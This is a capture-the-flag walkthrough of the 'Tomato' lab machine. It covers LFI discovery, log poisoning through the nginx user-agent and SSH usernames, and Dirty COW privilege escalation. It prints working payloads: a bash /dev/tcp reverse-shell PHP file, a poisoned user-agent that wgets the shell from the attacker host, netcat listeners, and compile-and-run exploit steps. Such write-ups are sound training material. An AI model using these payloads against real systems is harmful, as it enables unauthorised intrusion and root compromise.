Table of Contents
Time to push myself. I decided to go for a “Medium to Hard” box, Tomato this time round. I’m really liking the boxes put forth by the SunCRS Team. This box really helped me solidify some tactics I struggled understand early on. Hopefully you learn something from this as well. On with the walk-through!
sudo nmap -sT -sV -O -p- 192.168.1.38
A fair bit to start with, two web servers (Apache HTTP [:80] and Nginx [:8888]), an outdated OpenSSH server, and a vsFTPd server.
Figure I would start with FTP.
After a few failed anonymous login attempts, I decided it was time to let it be.
No need to start brute forcing yet.
The SSH server running on the machine is prone to a user enumeration vulnerability.
However, when I tried using some scripts from exploit-db and metasploit, I found that the users I tested with we’re both valid and invalid.
But I highly doubt,
drt was a valid user, but some scripts showed that it was (and others showed me it wasn’t).
Put a pin in that for now.
Maybe we can use this in a different way later.
Time to see if we can glean anything from the Apache and/or Nginx servers. Start with the one running on port 80, Apache. As I expected, nothing out of the ordinary at first glance. Just a picture of a tomato. What about the nginx server running on port 8888?
Okay not much we can do for now, let’s look for some other files or directories using
I tend to start with this medium list first.
gobuster dir -u http://192.168.1.38 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
Nothing! No need to fret. Let’s try another one
gobuster dir -u http://192.168.1.38 -w /usr/share/wordlists/dirb/common.txt
Something to work with!
Looks like this is some type of old WordPress plugin.
After looking through some files we see that
info.php is the PHP info page.
Inspecting the source code, we can see a comment with some PHP code:
<?php include($_GET['image']); ?>
This can be leveraged for a LFI (local file inclusion) attack.
We can test that it’s working but trying to load the contents of
/etc/passwd to our info page.
Success! 🥳 Let’s start exploiting!
We’re going to use an LFI attack and can be exploited by log file poisoning.
One day I will do a whole article on LFI and log file poisoning.
Basically, we need to do is inject a log file with some code that will get executed/processed by the web server.
Hopefully, this will give us access to some RCE (remote code execution) that we can use to get a shell.
We just need to find a log that we can access.
On most systems, these log files are locked down with permissions that don’t allow access from any user.
Sysadmins are lazy sometimes, and need to access these from another system or process and will loosen the restrictions.
There were four services we found from the
Let’s try getting access to those
- ❌ vsftpd:
- ❌ apache:
- ⭕ nginx:
- ⭕ ssh:
/var/log/auth.log(this is a system authentication log, not just ssh)
After a few tests, we found that both the nginx log and the Ubuntu system authentication log have botched permissions. Two options to choose from.
Option 1: nginx access.log⌗
With access to
/var/log/nginx/access.log, we can try to poison this with some PHP code and hopefully get this to execute commands on the remote machine.
A Quick Sidebar: This was a pain in the ass. If I’m being honest, this was the more difficult option (for me). I tried using this in a way to read another
$_GETparameter, but that broke the LFI vulnerability. Resulting in losing access to the nginx logs. I must have experimented with a bunch of different variations on trying to get this working. I can’t count how many times I had to revert my virtual machine. There were moments when I wanted to just throw my computer away.
The steps below are one way to using the LFI to get RCE, and then use the LFI to include a PHP file we create. So, as a word of warning: TAKE A SNAPSHOT NOW. If you get a single character wrong, it could screw the whole thing up, and I don’t think you want to wait until tomorrow for the log to rotate. So if you want to play around, experiment with a different attack, I highly recommend taking a snapshot. Without further ado, onto the exploit!
If we look at the nginx
access.log we can see that it writes the time, method, user-agent, status, and path.
The only two variables we could potentially have control over is the user-agent and the path.
However, the path isn’t a great choice because of all the special characters, and URL encoding wouldn’t be decoded in the log.
Our only true option is the user-agent.
Luckily, we can change it with our good ol' friend,
Before jumping in, let’s test the waters with a simple command of
ls -lah to see what’s in the current directory.
curl -A "<?php system('ls -lah'); ?>" 192.168.1.38:8888
Looking good! This is where I struggled a lot (see sidebar above). My final implementation is a little convoluted, but gets the job done:
- Create a reverse shell PHP file on the Kali box and host it with
- Start a netcat listener on the Kali machine.
- Use LFI of
/var/log/nginx/access.logto include it in the page.
curl, manipulate the user-agent with PHP code that executes a command to download the reverse shell code on the Kali machine to the
/tmpdirectory on the target machine.
- Point the LFI to our downloaded reverse shell file.
Create a reverse shell called
rs.php on your Kali machine with the following code.
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.1.10/4444 0>&1'"); ?>
Be sure to change the IP and port for your local machine and netcat listener! Next, start a python web server on your Kali box in the directory of your reverse shell.
python3 -m http.server
Here’s how we can leverage log poisoning and RCE to download our file.
Run the following command to download the reverse shell into the
/tmp directory on the target.
curl -A \ "<?php exec('wget -O /tmp/rs.php http://192.168.1.10:8000/rs.php') ?>" \ 192.168.1.38:8888
It’s important to note here that the previous command DOES NOT EXECUTE the PHP
exec to download the file.
We have only poisoned the log file with some PHP code, and the server still needs to load the file and process it.
We need to refresh the page in our browser for the download to actually occur.
If you haven’t already, start your netcat listener.
nc -lnvp 4444
Finally, update the file inclusion to use the reverse shell at
The full URL will be: http://192.168.1.38/antibot_image/antibots/info.php?image=/tmp/rs.php
Overall I found this to be a bit too finicky.
Especially when the slightest hiccup caused it to fail.
If you’re interested in learning how to leverage
/var/log/auth.log to get RCE and a reverse shell, keep reading.
Otherwise, skip ahead to the Privilege Escalation section.
Option 2: auth.log⌗
This file houses all authentication related events on Debian and Ubuntu systems.
This includes login attempts via SSH.
How can we leverage this?
Similar to the
nginx/access.log, we can can load it in our web browser with
We can craft a special username and attempt to log into SSH with it.
In fact, the username can be some PHP code!
Having the username as
'<?php system($_GET['cmd']); ?>', allow us to run commands with a new GET parameters,
The full command to execute:
ssh -p 2211 '<?php system($_GET['cmd']); ?>'@192.168.1.38
It will ask for a password, press enter. After it fails once, quit the command, the damage is already done.
Before rushing into a reverse shell, let’s test with a simple command:
The full URL parameters will be
We successfully have remote code execution from the URL!
All that’s left to do now is to URL encode our bash reverse shell one-liner and replace it with our previous
Fire up a netcat listener on port 4444.
nc -lnvp 4444
Our URL encoded payload:
We now have a shell on the target machine!
Using the ssh vector was a lot more straight forward.
I also found the
auth.log was parsed with a little more flexibility.
Either option works, and I suggest you try your hand at both!
A little bit of quick enumeration, found nothing blatantly exploitable, and no
The kernel, however, is pretty out of date, running at version
You can confirm this with a quick
Even though it’s a 4.4 kernel, I decided to use Dirty COW, as this kernel is still vulnerable to it.
The problem I ran into was there was no
clang commands on the machine.
No C compiler doesn’t leave too many options.
Investigating a bit further for compilers though…
reveals that there actually is a C compiler on the machine,
dpkg --list 2>/dev/null | grep compiler | grep -v decompiler 2>/dev/null
gcc-5! This was a juicy little nugget I discovered when looking at the source code for LinEnum. With that, let’s get our exploit onto the machine.
I chose to use Linux Kernel 2.6.22 < 3.9 (x86/x64) - ‘Dirty COW /proc/self/mem’ Race Condition Privilege Escalation (SUID Method).
An exploit I found using
searchsploit dirty cow.
Also, it has very good documentation at the top of the file.
On your Kali machine execute the following
cp -v /usr/share/exploitdb/exploits/linux/local/40616.c . '/usr/share/exploitdb/exploits/linux/local/40616.c' -> './40616.c' python3 -m http.server # only run if you stopped the previous server
With that set up, move back to the target machine and run the following.
cd /tmp wget -O cowroot.c http://192.168.1.10:8000/40616.c gcc-5 cowroot.c -o cowroot -pthread ./cowroot
This will hose the system!
You will be left with a weird semi-usable system.
Check to see that you’re
root by running
We’re in the endgame now. Time to get what we came for.
id uid=0(root) gid=33(www-data) groups=33(www-data) cd /root ls proof.txt cat proof.txt Sun_CSR_TEAM_TOMATO_JS_0232xx23
This really challenged me! I feel like I really now, do have a good foundation of LFI attacks, and will be better at spotting them in the future. Sadly, I fell through too many rabbit holes, and did need some help along the way. I’m also not too happy about my privilege escalation tactics as it leads to corruption on the target system (see below).
If I we’re to do it again, I would try a different kernel exploit.
Or possibly use dirty cow to get
root, but add another
sudo user to the system.
This way I can reboot the server, and have persistent access afterwards.
Live and learn, and keep on hacking!